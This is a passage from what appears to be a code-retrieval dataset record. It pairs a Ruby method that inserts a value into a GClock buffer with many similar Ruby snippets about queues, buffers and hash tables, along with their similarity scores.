@head\r\n \r\n until current.nil? \r\n return true if current.data == value\r\n current = current.next\r\n end\r\n \r\n return false\r\n \r\n end", "def in_binary\n Bases.val(self).in_binary\n end", "def setnx(value)\n if exists?\n false\n else\n set value\n true\n end\n end", "def bust?\n\t\tvalue_as_int > 21 ? true : false\n\tend", "def value?(value)\n wrap(value, ->(a, b) { a == b })\n end", "def triplet_true?(str)\n hash = Hash.new { |h, k| h[k] = 0 }\n str.chars { |char| hash[char] += 1 }\n hash.any? { |k, v| v > 2 }\nend", "def has_value?(value)\n each do | k, v |\n return true if v == value\n end\n return false\n end", "def include?(arr, value)\n includes = false\n arr.each { |n| includes = true if n == value }\n includes\nend", "def [](index)\n @bits[index/@@wordBits] & @bitMask[index % @@wordBits] > 0 ? 1 : 0\n end", "def _compare_and_set(old_value, new_value)\n return false unless @mutex.try_lock\n begin\n return false unless @value.equal? old_value\n @value = new_value\n ensure\n @mutex.unlock\n end\n true\n end", "def try_put!(value)\n @mutex.synchronize do\n if unlocked_empty?\n @value = value\n @full_condition.signal\n true\n else\n false\n end\n end\n end", "def getbit(key, offset); end" ]
[ "0.6590713", "0.61349434", "0.60505456", "0.604489", "0.600284", "0.59591985", "0.5930614", "0.59196687", "0.59119946", "0.58338946", "0.5817258", "0.58005154", "0.5791882", "0.57834876", "0.578149", "0.5776193", "0.5769432", "0.5760731", "0.57509124", "0.5714549", "0.56972075", "0.56950283", "0.56832564", "0.5658731", "0.5656075", "0.5655997", "0.5654629", "0.56319696", "0.56254166", "0.56220657", "0.5609078", "0.5592033", "0.5585771", "0.5585771", "0.55716604", "0.5538502", "0.5538502", "0.5537769", "0.5537769", "0.55303293", "0.55245215", "0.54938364", "0.5467115", "0.5464318", "0.5460047", "0.545494", "0.5453941", "0.54223007", "0.5416967", "0.5410543", "0.5398407", "0.53943294", "0.5382543", "0.5371615", "0.53697723", "0.536185", "0.5359946", "0.5357582", "0.53535336", "0.5353182", "0.53518224", "0.53503144", "0.5339188", "0.5337511", "0.5336977", "0.5328074", "0.5323135", "0.5323135", "0.5321111", "0.5313481", "0.5306459", "0.5304563", "0.5299789", "0.52974045", "0.52970505", "0.52964544", "0.5282856", "0.5281597", "0.5278352", "0.5273156", "0.52724504", "0.5267459", "0.52649164", "0.526382", "0.5256041", "0.5254523", "0.5234149", "0.5220948", "0.5216372", "0.52118737", "0.5202527", "0.5201763", "0.5195984", "0.5194517", "0.5190806", "0.51907957", "0.51720387", "0.51718783", "0.5171194", "0.51675093", "0.5164709" ]
0.0
-1
If buffer slots are free, inserts value and returns true.
def try_insert_new(value) return false if used == @size entry = GClockBufferEntry.new(value, 1) @buffer[@pointer] = entry advance_pointer true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def insert_last(value)\n if @queue.size < @size\n @queue.push(value)\n true\n else\n false\n end\n end", "def add(value)\n found = true\n @values.delete(value) { found = false }\n @values[value] = true\n @values.shift if @values.length > @capacity\n found\n end", "def en_queue(value)\n return false if self.is_full\n\n @queue[@rear] = value\n if @rear == @queue.size - 1\n @rear = 0\n else\n @rear += 1\n end\n true\n end", "def en_queue(value)\n if is_full() == true\n return false\n end\n\n @rear = (@rear + 1) % (@q.length)\n @q[@rear] = value\n @length += 1\n return true\n end", "def insert(fingerprint)\n return false unless has_space?\n\n @slots.each do |slot|\n if slot.empty?\n slot.set(fingerprint)\n @filled = [(@filled + 1), 4].min\n return true\n end\n end\n\n false\n end", "def push(value)\n\t\t\tif @storage.insert(0, value)\n\t\t\t\ttrue\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend", "def en_queue(value)\n if self.openings > 0\n self.openings -= 1\n @head = @head == nil ? 0 : (@head + 1) % @size\n @q[@head] = value \n true\n else\n false\n end\n end", "def insert_front(value)\n if @queue.size < @size\n @queue.unshift(value)\n true\n else\n false\n end\n end", "def insert(val)\n return false if @h[val]\n @a.push(val)\n @h[val] = @a.size - 1\n return true\n end", "def insert(val)\n if map.key?(val)\n false\n else\n map[val] = size\n arr[size] = val\n self.size += 1\n true\n end\n end", "def insert(item)\n return false unless has_space?\n\n fingerprint = fingerprint(item)\n first_index = hash(item)\n second_index = alt_index(first_index, fingerprint)\n\n if @buckets[first_index].insert(fingerprint) || @buckets[second_index].insert(fingerprint)\n increment_filled_count\n return true\n end\n\n index = [first_index, second_index].sample\n\n @max_kicks.times do\n fingerprint = @buckets[index].random_swap(fingerprint)\n index = alt_index(index, fingerprint)\n\n if @buckets[index].insert(fingerprint)\n increment_filled_count\n return true\n end\n end\n\n return false\n end", "def insert(val)\n res = true\n res = false if @pos.key?(val)\n @pos[val] = [] unless @pos.key?(val)\n @pos[val] << @num.size\n @num << [val, @pos[val].size - 1]\n res\n end", "def try_put!(value)\n @mutex.synchronize do\n if unlocked_empty?\n @value = value\n @full_condition.signal\n true\n else\n false\n end\n end\n end", "def append(val)\n if(@entries != @length)\n @position += 1\n @entries += 1\n @store[@position] = val\n end \n end", "def write(key, value, options = {})\n synchronize_block do\n return false unless can_allocate_value?(value)\n prune_keys(@buffer_size) if is_buffer_limit_reached?\n\n old_value_present = false\n\n if key_exists?(key)\n old_value_present = true\n old_value = @data[key]\n old_value_size = compute_value_size(old_value)\n end\n\n @data[key] = value\n set_key_access_strategy(key)\n @cache_size -= old_value_size if old_value_present\n @cache_size += compute_value_size(value)\n return true\n end\n end", "def push(val)\n if @count >= capacity()\n resize!()\n end\n @store.store.each_with_index do |ele, i|\n if ele == nil \n @first_nil = i\n break\n end\n end\n @store[@first_nil] = val\n @count += 1\n end", "def queue_full?\n free_slots == 0\n end", "def push(val)\n if @length >= @capacity\n resize!\n end\n idx = (@start_idx + @length) % @capacity\n @store[idx] = val\n @length += 1\n end", "def add_item value\n\n @queue << value.to_f\n @queue.shift if @buffer.size > @period\n\n @buffer << @queue.sum / @queue.size # @queue.sum is always a float. \n\n current # return the last buffer value\n end", "def enqueue(object_)\n result_ = true\n if @push_ptr\n if @pop_ptr == @push_ptr\n if @drop_oldest\n @pop_ptr += 1\n @pop_ptr = 0 if @pop_ptr == @buffer.size\n result_ = false\n else\n return false\n end\n elsif @pop_ptr.nil?\n @pop_ptr = @push_ptr\n end\n @buffer[@push_ptr] = object_\n @push_ptr += 1\n @push_ptr = 0 if @push_ptr == @buffer.size\n else\n @buffer.push(object_)\n end\n result_\n end", "def insert(value)\n self.heap.append(value)\n self.sift_up(self.heap.length-1, self.heap)\n end", "def insert(val)\n return false if @number_index_map.key?(val)\n @number_list << val\n @number_index_map[val] = @number_list.length - 1\n true\n end", "def insert(value)\n store.push value\n swim(length)\n self\n end", "def insert(value)\n @heap.append(value)\n self.sift_up(@heap.length - 1, @heap)\n end", "def push(val)\n resize! if self.length == self.capacity\n self.length += 1 \n self[length - 1] = val \n nil \n end", "def push(val)\n resize! if @length == @capacity\n self.length += 1\n self[length - 1] = val\n\n nil\n end", "def queued_messages?\r\n @pointer < @buffer.length\r\n end", "def insert(val)\n return false if @hh.key?(val)\n @hh[val] = val\n return true\n end", "def add(value)\n rause \"Bad Things\" if @size == @storage.length\n @storage[@size] = value\n @size += 1\n end", "def queued_messages?\n @pointer < @buffer.length\n end", "def append_queue\n if free_space > 0 \n free_blocks.times { \n if already_read < current_track.file.size\n buffer_block current_track\n else\n # We've finished this track, on to the next one\n load_next_track\n return\n end\n }\n else\n #puts \"Buffer full\" \n end\n end", "def insert(value) # rubocop:disable Metrics/MethodLength\n puts \"I want to insert #{value}\"\n initial_value = value\n starting_bucket = bucket = compute_bucket(value)\n puts \"I want to put it in bucket #{bucket}\"\n\n loop do\n contents = table[bucket]\n\n if contents == initial_value # This value is already in the HashTable\n puts \"#{contents} is already in bucket #{bucket}: stopping\"\n break false\n elsif contents.blank? # This is an available spot.\n puts \"Looks like bucket #{bucket} is empty. Let's put it there.\"\n insert_into_bucket(value, bucket)\n break true\n else # We need to keep searching for a spot.\n puts \"Bucket #{bucket} has value #{contents}. Need to keep looking.\"\n value = swap_if_needed(value, bucket)\n\n bucket = increment_bucket(bucket)\n raise LOOPED_MESSAGE if bucket == starting_bucket\n end\n end\n end", "def insert(value)\n @heap << value\n perc_up(@heap.length - 1)\n end", "def add(value)\n raise \"Bad things happen\" if @size == 10\n @storage[@size] = value\n @size += 1\n end", "def write(val)\n if val != nil\n raise BufferFullException if @buffer.all? { |val| val != nil }\n @youngest = increment_youngest(@buffer.size)\n @buffer[@youngest] = val\n end\n end", "def try_put(new_value)\n return false if @tvar.value != EMPTY\n\n @tvar.value = new_value\n true\n end", "def push(val)\n resize! if length == capacity\n self.length += 1\n self[length - 1] = val\n end", "def copy_used!\n if self.active?\n self.used = 0 unless self.used\n self.used += 1\n self.save\n else\n false\n end\n end", "def insert(item)\n\t\t\n\t\tif self.size == @capacity\n\t\t\t@a.pop\n\t\tend\n\t\t@a.push item\n\tend", "def push element\n if full?\n raise ArgumentError, \"buffer is full, and override_when_full is false\" unless @override_when_full\n \n @buffer[@newest] = element;\n @newest += 1\n @oldest += 1\n else\n @buffer[@newest] = element;\n @newest += 1\n @fill_count += 1 \n end\n\n if @oldest >= @buffer.count\n @oldest = 0\n end\n\n if @newest >= @buffer.count\n @newest = 0\n end\n end", "def add(val)\n @heap.push_and_get(val)\n end", "def insert(num)\n false if include?(num)\n self[num] << num\n true\n end", "def push(something)\n\t\t@mutex.synchronize do\n\t\t\tnow = Time.now\n\t\t\tif (something != @store.last) or (now > (@last_time + @interval))\n\t\t\t\t# Either something was not seem by last or it was but interval has passed.\n\t\t\t\t@store.push something\n\t\t\t\t(@store.shift if @store.length > @size) unless @size.nil?\n\t\t\t\t@last_time = now\n\t\t\t\tchanged\n\t\t\t\tnotify_observers(something)\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\t@last_time = now\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\tend", "def add_item value\n @queue << value\n @queue.shift if @queue.size > @period\n if @buffer.empty?\n @buffer=[value.to_f]\n else\n prev_ema = @buffer.last\n current_value = value.to_f\n # this is the incremential approach\n # @buffer << (current_value * @smooth_constant ) + prev_ema * (1 - @smooth_constant)\n # it is identical to\n @buffer << (current_value - prev_ema) * @smooth_constant + prev_ema\n # which is much easier to compute\n end\n current # return the last buffer value\n end", "def put(key, data)\n queue = queues(key)\n return nil unless queue\n\n @stats[:current_bytes] += data.size\n @stats[:total_items] += 1\n\n queue.push(data)\n\n return true\n end", "def bucket_full?(bucket)\n @buffer[bucket].size >= @buffer_max\n end", "def push(val)\n resize! if @length >= @store.length\n @store[@length] = val\n @length += 1\n val\n end", "def push(key)\n synchronize do\n top = @map[key]\n if !top || top.empty?\n return false\n end\n\n @queue.synchronize do\n enqueue(top)\n @queue << top\n @map.delete(key)\n end\n\n return true\n end # synchronize\n end", "def full?\n !free?\n end", "def inserir_item(item)\n # Insere um item no inicio do buffer\n BUFFER.unshift item\n end", "def upsert key, value\n # Check if there is already an entry for the given key. If there is one, we have to update the value and return.\n if (slot = find_slot(key))\n slot.value = value\n return\n end \n \n #If the entry does not exist, we have to check if there is enough room to add it to the table. \n # If the number of slots is too small, \n # we have to trigger a rebuild operation to ensure that the new entry fits into the internal storage\n rebuild if self.size > (@slots / 2)\n\n # Once we are sure that there is enough space, we have to hash the key and map it to a position into the internal storage. \n # In our case, we do that by double hashing the key’s hash code until we find an empty slot or run out of positions\n 0.upto(@slots - 1) do |i|\n index = double_hash key.hash, i\n slot = @table[index]\n if slot.nil? || slot.vacated \n # Once we successfully mapped a key to a position in the internal array, we increase the table size and return\n @table[index] = Slot.new key, value\n self.size += 1\n return\n end\n end\n raise \"Weak hash function.\"\nend", "def push value\n self.set( self.get_length + 1 , value)\n end", "def push(val)\n resize! if @length == @capacity\n\n #increase length of array first, then set val = to last element.\n @length += 1\n @store[@length - 1] = val\n end", "def free?\n matches.length < match_positions\n end", "def push(val)\n self.concat([val])\n shift if size > @max_size\n end", "def full?\n self.count == self.max_space\n end", "def complete?\n buff.length < @maxlen\n end", "def register_entry\n if @state < capacity\n @state += 1\n else\n raise \"Queue #{@label} is full. Cannot register entry.\"\n end\n end", "def test_normal_append\n @store.set(@key, @flag, @exp_time, @size, @value, @no_reply)\n\n assert_equal(STORED, @store.append(@key, @size_append, @value_append, @no_reply), STORED_MESSAGE)\n end", "def insert(val)\n hash[val] = Set.new unless hash[val]\n hash[val].add(values.size)\n values.push(val)\n hash[val].size == 1\n end", "def push(value)\n\t\tif values.length <= @pos\n\t\t\traise RuntimeError.exception @errormessage\n\t\tend\n\t\t\n\t\ti = @pos\n\t\t@pos += 1\n\t\t\n\t\twhile i > 0\n\t\t\tidx = (i-1)/2\n\t\t\tbreak if values[idx] <= value\n\t\t\t\n\t\t\tvalues[i] = values[idx]\n\t\t\ti = idx\n\t\tend\n\t\t\n\t\tvalues[i] = value\n\tend", "def append(x)\n (self << x).full?\n end", "def use_insert?\n !use_copy?\n end", "def add(val)\n @set.include?(val) ? nil : @set.push(val)\n end", "def isFull? \n return @slots[NUMBER_OF_SLOTS-1].content != \" \" \n end", "def buffer? \n !@_out_buf.nil?\n end", "def push(val)\n @store << val\n idx = count - 1\n @store = BinaryMinHeap.heapify_up(@store, idx, &prc)\n end", "def enqueue_buffer(force = false)\n @buffer.keys.each {|key|\n @buffer.push(key)\n }\n end", "def place!(val, &block)\n pos = nil\n orig_size = self.size\n block ||= lambda{|a, b| a <=> b}\n self.each_with_index do |e, i|\n if block.call(e, val) == 1\n pos = i\n break\n end\n end\n return nil unless pos\n self.insert(pos, val)\n while self.size > orig_size\n self.pop\n end\n val\n end", "def push(value)\n @sp -= 1\n @emulator.memory.set(@sp, value)\n end", "def full?\n # absolute value of @tail is equal to the number of slots in the queue (@size)\n @tail.abs == (@size)\n end", "def add_key_value?(key, val)\n @store.transaction do\n return false if @store.to_h.key? key\n @store[key]=val\n end\n true\n end", "def append(value)\n if !empty?\n set_tail(value)\n else\n set_head(value)\n end\nend", "def check_datapoints_buffer\n save_datapoints if datapoints.size >= @datapoint_buffer_size\n end", "def is_full()\n @queue.size == @size\n end", "def empty?\n @lock.synchronize { @used.size == 0 && @available.size == 0 }\n end", "def insert(buf); @a.copy(buf); end", "def empty?\n @buffers.values.all?(&:empty?)\n end", "def add(value)\n @queue.push(value)\n end", "def full?\n slots_available.zero?\n end", "def insert(id_key, value)\n @queue[id_key] = value\n arr = []\n if @queue[@ptr]\n while @queue[@ptr]\n arr << @queue[@ptr]\n @ptr += 1\n end\n end\n arr\n end", "def push(val)\n # byebug\n if @length < @array.length\n @array[@last + 1] = val\n @last += 1\n @length += 1\n else\n new_array = StaticArray.new(@array.length * 2)\n for i in 0..(@length - 1)\n new_array[i] = @array[i]\n end\n new_array[@last + 1] = val\n @length += 1\n @array = new_array\n @capacity = @capacity * 2\n end\n end", "def full?\n return (@fill_count == size)\n end", "def is_full()\n @queue.count { _1 } == @queue.size\n end", "def add_at(index,value)\n raise \"Index is lower that current index\" if index < max_index\n\n @add_at_next = index + 1\n pos = position_for_index(index)\n\n if out_of_range?(index)\n @store.fill_with_nils\n elsif higher?(index)\n (pos-1).downto(@position) { |i| @store.put(i,nil) } if @current_index >= @size\n @store.put(pos,nil) # We clean the value, if not it gets used by @before_add\n end\n\n set_value(pos,value)\n @position = pos + 1\n @current_index = index\n self\n end", "def unshift(val)\n if @count >= @cap\n resize!()\n end\n @store.store.unshift(val)\n @count += 1\n end", "def any_space?(volume_to_add)\n if current_space > volume_to_add.to_i\n true\n else\n puts 'Can\\'t add parcel. Too Big'\n false\n end\n end", "def push(value)\n return \"Stack is full\" if is_full\n\n @stack.push(value)\n @current_size += 1\n end", "def put(entry)\n grow if should_grow?\n @slots[find_slot(entry)] = entry\n @count += 1\n end", "def buffer(x) \n $game_player.iframes = 30 if $game_player.iframes == 0\n unless self.input_buffer[-1]==x\n self.input_buffer << x \n end\n end", "def put(key, value)\n return if @capacity.zero?\n @cache.delete(key)\n @cache.shift while @cache.size >= @capacity\n @cache[key] = value\n end", "def push_only?\n chunks.each { |c| return false if !c.opcode.nil? && c.opcode > OP_16 }\n true\n end", "def insert_to_backlog(oplog_entry)\n # Lock usage:\n # 1. @oplog_backlog\n\n ns = oplog_entry[\"ns\"]\n inserted = false\n\n @oplog_backlog.use do |backlog, mutex|\n if backlog.has_key? ns then\n backlog[ns] << oplog_entry\n inserted = true\n end\n end\n\n return inserted\n end", "def add(value)\n# we first check where we should insert at\n insert_at = @arr.bsearch_index { |obj| obj['pos'] > value.pos }\n if insert_at === nil\n# if it should be added as the last element\n @arr.push(value.to_json)\n else\n @arr.insert(insert_at, value.to_json)\n end\n end", "def push(val)\n # O(1) time\n @arr << val\n\n @min << if @min.empty?\n val\n else\n (val < @min.last) ? val : @min.last\n end\n end", "def buffer_empty?\n @line_no.zero? || @pos > @line.length - 1\n end", "def write!(val)\n if val != nil\n if @buffer[@youngest..-1].any? { |val| val == nil }\n write(val)\n else\n @buffer[@oldest] = val\n @youngest = @oldest\n @oldest = increment_oldest(@buffer.size)\n end\n end\n end", "def free?\n time_now >= end_time\n end", "def receive_revealed_card(value, coords)\n if !@memory[value].include?(coords)\n puts \"#{value} is memorized in coordinates #{coords}\"\n @memory[value] << coords \n end\n end", "def append value\n add_idx = empty? ? 0 : last_key + 1\n self[add_idx] = value\n end" ]
[ "0.67836845", "0.6649894", "0.66428876", "0.6640979", "0.6544269", "0.64828765", "0.6445525", "0.63733226", "0.63253295", "0.6085846", "0.6000582", "0.60005736", "0.59499645", "0.59248406", "0.5897573", "0.588062", "0.58699095", "0.5834886", "0.57715684", "0.5754918", "0.574486", "0.57430124", "0.5680705", "0.5636273", "0.56356317", "0.5634333", "0.56244814", "0.5623237", "0.5583306", "0.55705225", "0.5563578", "0.55603385", "0.55560637", "0.5544393", "0.5528468", "0.5526324", "0.55071336", "0.5493751", "0.5475695", "0.54593515", "0.54527", "0.5443044", "0.5441625", "0.5407481", "0.54000205", "0.53828794", "0.53819346", "0.53779036", "0.5376789", "0.53400874", "0.531448", "0.53071713", "0.5279784", "0.52752334", "0.52654433", "0.52581155", "0.52359354", "0.5233451", "0.5227456", "0.5220842", "0.52048457", "0.52028733", "0.5198677", "0.5177465", "0.51760954", "0.5172285", "0.51694596", "0.5168084", "0.5156721", "0.5156647", "0.51368004", "0.51253545", "0.51138085", "0.5093597", "0.5080041", "0.50717115", "0.5071312", "0.50602025", "0.5059352", "0.50497526", "0.5047133", "0.504685", "0.5043174", "0.50241387", "0.50200117", "0.5014147", "0.5002779", "0.49980068", "0.4990056", "0.49884635", "0.49863762", "0.49826258", "0.4974699", "0.49686664", "0.49671912", "0.4957556", "0.495556", "0.49434963", "0.4942594", "0.4928552" ]
0.7857396
0
Initial property of an search_result
def initialize self.description_map = Hash.new self.found_items = [] self.closest_string = "" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def result\n return @result if defined?(@result)\n @search.populate_hits\n @result\n end", "def initialize\n @result = result\n end", "def set_result\n @result = Result.new\n end", "def initialize(original_result); end", "def set_search_result\n @search_result = SearchResult.find(params[:id])\n end", "def initialize(results)\n @term = results[:term]\n @cpvs = results[:cpvs]\n @filter = results[:filter].presence || NullFilter.new\n end", "def init_results_for_search\n # try to find asqs and tags that match search string\n search_string = params[:search].downcase\n @title = \"Search for \\\"#{params[:search]}\\\"\"\n @matched_names = search_asqs_by_column('name', search_string)\n @matched_queries = search_asqs_by_column('query', search_string)\n @matched_tags = Asq.tagged_with(search_string.split(' '), wild: true)\n @matched_creator = Asq.where(created_by: search_string)\n @matched_modifier = Asq.where(modified_by: search_string)\n sort_matched_arrays\n redirect_if_single_result\n end", "def set_search_result\n @search_result = SearchResult.find(params[:id])\n end", "def default_result\n data.default_result\n end", "def reset_results\n @loaded = false\n @results = ResultSet.new\n @solr_response = nil\n end", "def initialize(result)\r\n\t\t@result = result\r\n\t\t@recipehash = {}\r\n\tend", "def initialize(search)\n @search = search\n end", "def initialize(result)\n @result = result\n end", "def initialize(result)\n @result = result\n end", "def initialize(result)\n @result = result\n end", "def make_search_data(cond_wheather)\n @search_query = \"\"\n\n\n end", "def initialize result_hash={}\n @result_hash = result_hash\n end", "def construct_if_found(results)\n unless results.blank?\n new(results)\n else\n nil\n end\n end", "def initial_query=(_arg0); end", "def initial_query; end", "def initialize(ri)\n self.result_item = ri\n end", "def populate_results(json)\n # page = json[\"page\"]\n # results = json[\"results\"].map{|r| SearchResult.new(r)}\n # start = (page - 1) * 10\n # @results[start, results.length] = results\n @results = json[\"results\"].map{|r| SearchResult.new(r)}\n end", "def empty_results(hits = 0)\n {\n 'SearchRequest'=>\n {\n 'SearchCriteria'=>\n {\n 'Queries'=>nil,\n 'SearchMode'=>'',\n 'IncludeFacets'=>'y',\n 'Sort'=>'relevance',\n 'AutoSuggest'=>'n',\n 'AutoCorrect'=>'n'\n },\n 'RetrievalCriteria'=>\n {\n 'View'=>'brief',\n 'ResultsPerPage'=>20,\n 'Highlight'=>'y',\n 'IncludeImageQuickView'=>'n'\n },\n 'SearchCriteriaWithActions'=>\n {\n 'QueriesWithAction'=>nil\n }\n },\n 'SearchResult'=>\n {\n 'Statistics'=>\n {\n 'TotalHits'=>hits,\n 'TotalSearchTime'=>0,\n 'Databases'=>[]\n },\n 'Data'=> {'RecordFormat'=>'EP Display'},\n 'AvailableCriteria'=>{'DateRange'=>{'MinDate'=>'0001-01', 'MaxDate'=>'0001-01'}}\n }\n }\n end", "def set_search_results(type = nil)\n valid_values = SearchModesHelper::SEARCH_RESULTS\n set_search_feature(:results, type, valid_values, meth: __method__)\n end", "def reset_search\n # Reset_Searchs the search\n search.frontier = []\n search.came_from = {}\n search.path = {}\n end", "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[resultId]\n end", "def initialize(initial_hash = nil)\n super\n @optional_method_names = %i[resultId]\n end", "def default_search_field\n @default_search_field ||= super || search_fields.values.find { |f| f.default == true } || search_fields.values.first\n end", "def initial\n end", "def initialize_requested_page(prefix=\"\")\n (@search_params[prefix + \"page\"] || 1).to_i\n end", "def reset\n @results = {}\n @success = false\n end", "def results\n @results ||= {}\n end", "def initialize prev_data=nil\n @totals = {}\n @results = {}\n end", "def get_results\n # 1. if the search is blank do NOT run the search (handled in subclasses)\n !self.search_text.blank? && !self.search_query.blank? && !self.search_type.blank? && !self.search_locale.blank?\n end", "def prepare_result\n\t\t\tsuper\n\t\t\t@lowest_old = MM.get_lowest_old(@current_point, @start_vector, @hd_config, false, @tuning_range)\n if @lowest_old[0] == nil\n\t\t\t\t@initial_run = true\n\t\t\t\tthrow :jump_back\n\t\t\tend\n\t\tend", "def initialize\n\t\t@data_controller = DataController.new\n\t\t@current_search = {phrase: \"\", thumbnail: nil} \t# current searchstring\n\t\t@searched = []\n\t\t@is_working = false\n\t\t@is_back_search = false\n\tend", "def initial_value\n @initial_value\n end", "def initial\n @initial\n end", "def initialize(input_params)\n super(input_params)\n @result = {:done => false}\n end", "def complete_search\n if is_boolean? && !!@search_value != @search_value\n puts 'No result found'\n return\n end\n if NUMBER_TO_OBJECT_MAP[@object].column_names.include?(@search_term)\n results = NUMBER_TO_OBJECT_MAP[@object].where(\"#{@search_term}\" => @search_value)\n else\n results = NUMBER_TO_OBJECT_MAP[@object].joins(@search_term.to_sym).where(\"#{@search_term}\" => { value: @search_value })\n end\n \n if !results.empty?\n puts 'Result'\n puts '-------------'\n results.each do |result|\n result.render_object\n end\n else\n puts 'No result found'\n end\n results\n end", "def init\n\n self.completed ||= false\n end", "def initialize(raw_data)\n # FIXME: check if the data is invalid\n @raw_data = raw_data['results'].first rescue nil\n end", "def reset\n @results = @hits = @verified_hits = @total = @solr_response = @doc_ids = nil\n end", "def reset\n @results = @hits = @verified_hits = @total = @solr_response = @doc_ids = nil\n end", "def results\n populate\n @results\n end", "def set_search\n @search ||= Question.search(params[:q])\n end", "def populate_options\n \tself.results = HTTP.auth(self.bearer_token).get(search_url, params: search_params).parse\n\tend", "def next_result()\n #This is a stub, used for indexing\n end", "def abandon_results!()\n #This is a stub, used for indexing\n end", "def current_results_first\n offset + 1\n end", "def initialize(search_params)\n @search_params = search_params\n @query = formatted_query.presence || \"*\"\n end", "def initialize(query,start_idx)\n @query = query\n @start_idx = start_idx\n end", "def init\n self.completed ||= false\n end", "def populateSearch\n Search.transaction do\n search = Search.new\n @results.keys.each do |key|\n s = search.search_stonks.new\n s.stonk = Stonk.find_by symbol: key\n s.count = @results[key]\n end\n search.save!\n end\n end", "def initial_data\n @query_tracker.results.map.with_index do |data, index|\n data = data.dup\n data['_id'] = data['_id'].to_s\n [index, data]\n end\n end", "def results\n fetch unless @results\n @results\n end", "def next_self(res)\r\n self.video_set = res.video_set\r\n self.channel_set = res.channel_set\r\n self.category_set = res.category_set\r\n self.tag_set = res.tag_set\r\n self.user_set = res.user_set\r\n\r\n self.query_suggestion = res.query_suggestion\r\n self.total_results_available = res.total_results_available\r\n self.total_results_returned = res.total_results_returned\r\n self.first_result_position = res.first_result_position\r\n self.rss_url = res.rss_url\r\n self.video_set_title = res.video_set_title\r\n\r\n self.channel_results_returned = res.channel_results_returned\r\n self.category_results_returned = res.category_results_returned\r\n self.tag_results_returned = res.tag_results_returned\r\n self.user_results_returned = res.user_results_returned\r\n\r\n self.sphinxquery = res.sphinxquery\r\n self.sphinxfilters = res.sphinxfilters\r\n end", "def get_original_result\n non_pr_results.first\n end", "def search_anchor\n {}\nend", "def default_values\n @query = \"default values\"\n end", "def search=(value)\n @search = value\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def initialize(search_settings)\n self.search_settings = search_settings\n end", "def perform_search\n if self.class == Alchemy::Admin::PagesController && params[:query].blank?\n params[:query] = 'lorem'\n end\n return if params[:query].blank?\n @search_results = search_results\n if paginate_per\n @search_results = @search_results.page(params[:page]).per(paginate_per)\n end\n end", "def initial_query(arg)\n query = Hash.new\n return query\n end", "def new_result\n Result.new(self)\n end", "def search_type\n 0\n end", "def query_def; (x = @hits.first) ? x.query_def : nil; end", "def set_search_query\n @search_query = SearchQuery.find(params[:id])\n end", "def set_query_attributes!\n attr_names = self.class.search_query_attributes.map(&:to_s)\n self.query = attr_names.inject({}) { |memo, attr|\n memo[attr] = self.send(attr)\n memo\n }\n end", "def initialize(obj)\n super\n @search_in_database = obj.is_a?(ActiveRecord::Relation) && !obj.loaded?\n end", "def set_result_tnmtfirst\n @result_tnmtfirst = ResultTnmtfirst.find(params[:id])\n end", "def initialize\n @results = []\n @sentences = []\n @words = []\n# @has_new_result = false\n# $stderr.puts \"DEBUG: #{__FILE__}\"\n end", "def set_result\n results = result_params\n unless results.nil?\n if results.is_a?(String)\n parts = results.split(\"#\")\n @result = @measurement.results.find(parts[0].to_i)\n end\n end\n end", "def initialize_paginator\n @page = correct_integer?(params[:page]) ? params[:page].to_i : 1\n @for_page = FOR_PAGE\n @order = SearchOrders::DOCUMENTS_SET.include?(params[:order]) ? params[:order] : SearchOrders::CREATED_AT\n @word = params[:word].blank? ? nil : params[:word]\n end", "def init_search weight=nil, cutoff = nil\n # Attenuation is the compounded weights in descending to this associate (The global-to-local xform)\n # Weight is the weighting of THIS node. Thus, attenuation*weight is 1) the attenuation of any children,\n # and thus 2) the greatest value that any child can achieve\n @sn_cutoff = cutoff || 0.0\n @sn_associates = []\n @sn_local_to_global = 1.0\n @search_result = nil\n @search_node_weight = weight if weight\n @search_node_weight ||= 1.0 # Assert default if weight hasn't been set by other means\n @search_node_value = @search_node_weight\n end", "def set_result\n @result = Api::V1::Result.find(params[:id])\n end", "def result\n @result ||= build\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def set_result\n @result = Result.find(params[:id])\n end", "def start_result_number\n ((page - 1) * per_page) + 1\n end", "def first_or_initialize(attributes)\n remote = self.search(attributes).first\n remote ||= self.new(attributes)\n remote\n end", "def ransack_result\n @search.result.page(params[:page])\n end", "def initialize()\n # @popresult = PopulateResults.new\n # @pophist = PopulateNewsHistoricResults.new\n end", "def result\n results.first\n end", "def create_search_if_required\n @search ||= Search.find_or_create_by(query: query)\n end", "def set_result\n @result = Admin::Result.find(params[:id])\n end", "def parse_search; end", "def initialize(params={})\n @term = params[:search]\n @results = fetch_all\n @dictionary = Hash[@results.map { |x| [x[:room], x[:id]] }]\n end", "def initialize(search_list = [])\n\t\t@searchSuggestionList = search_list \n \tend", "def show_last_results\n @last_results ||= \"0\"\n end", "def set_initial_values\n self.hints_used = 0\n end", "def initialize(search_entry, search_button, search_cancel_button)\n @search_entry = search_entry\n @search_button = search_button\n @cancel_button = search_cancel_button\n\n # Active completion\n completion()\n\n # Init state\n @@state = CLEAR\n\n # Signals\n @search_entry.signal_connect('activate') do\n @search_button.activate\n end\n\n @search_button.signal_connect('clicked') do\n if @search_entry.text.match(/[a-zA-Z0-9\\(\\)]/)\n search(@search_entry.text)\n end\n end\n\n @cancel_button.signal_connect('clicked') do\n cancel()\n end\n end" ]
